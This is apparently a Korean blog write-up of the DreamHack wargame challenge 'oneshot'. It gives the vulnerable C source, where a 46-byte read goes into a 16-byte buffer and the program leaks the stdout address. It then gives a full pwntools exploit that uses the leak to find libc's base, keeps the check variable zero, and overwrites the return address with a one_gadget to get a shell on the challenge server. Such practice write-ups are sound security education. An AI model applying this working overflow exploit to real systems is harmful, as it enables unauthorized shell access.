보안/시스템 해킹

[ 시스템 해킹 ] DreamHack WarGame : oneshot

haena02 2022. 8. 4. 19:19
반응형

1. 문제

일단 문제는 위와 같다.

눈에 들어오는건 64-little 라는 것과 partial RELRO이 적용되어있다는 것

카나리가 없다는것, NX와 PIE는 활성화!

 


 

2. 코드

 

 

// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);

    if(check > 0) {
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

코드를 보면 16인 msg 변수 크기에 비해 read 함수에서 46만큼 많이 읽어들이는 것을 알 수 있다.

또, 이 값을 출력하고, memset 함수로 msg를 다시 0으로 세팅한다.

 

3. 해결

 

main을 disassemble 해보면 아래와 같다

읽어보니

----------

msg

...

check

SFP

RET

---------

 

이렇게 있음을 확인할 수 있다.

 

one_gadget을 확인해보면 아래와 같이 나오고, 이중에 하나를 사용하면 된다.

 

 

첫 번째 one gadget 0x45216을 이용해서 익스플로잇을 하겠다.

 

check는 0이상이면 프로그램이 종료되기 때문에 0을 넣어줘야하고 RET 자리에는 쉘을 띄울 수 있도록 one gadget을 넣어주어야 한다. 

 

from pwn import *

def slog(name, addr):
    return success(": ".join([name, hex(addr)]))


p = remote("host1.dreamhack.games", 21326)
e = ELF("./oneshot")
libc = ELF("./libc.so.6")
#context.log_level = 'debug'

one_gadget = 0x45216


# [1] Leak base
p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1], 16)
base = stdout - libc.symbols["_IO_2_1_stdout_"]
one_gadget = base + one_gadget

slog("STDOUT", stdout)
slog("base", base)
slog("one gadget", one_gadget)


# [2] Exploit
payload = b'A'*24
payload += b'\x00'*8
payload += b'B'*8
payload += p64(one_gadget)

p.sendafter("MSG: ", payload)
p.interactive()
반응형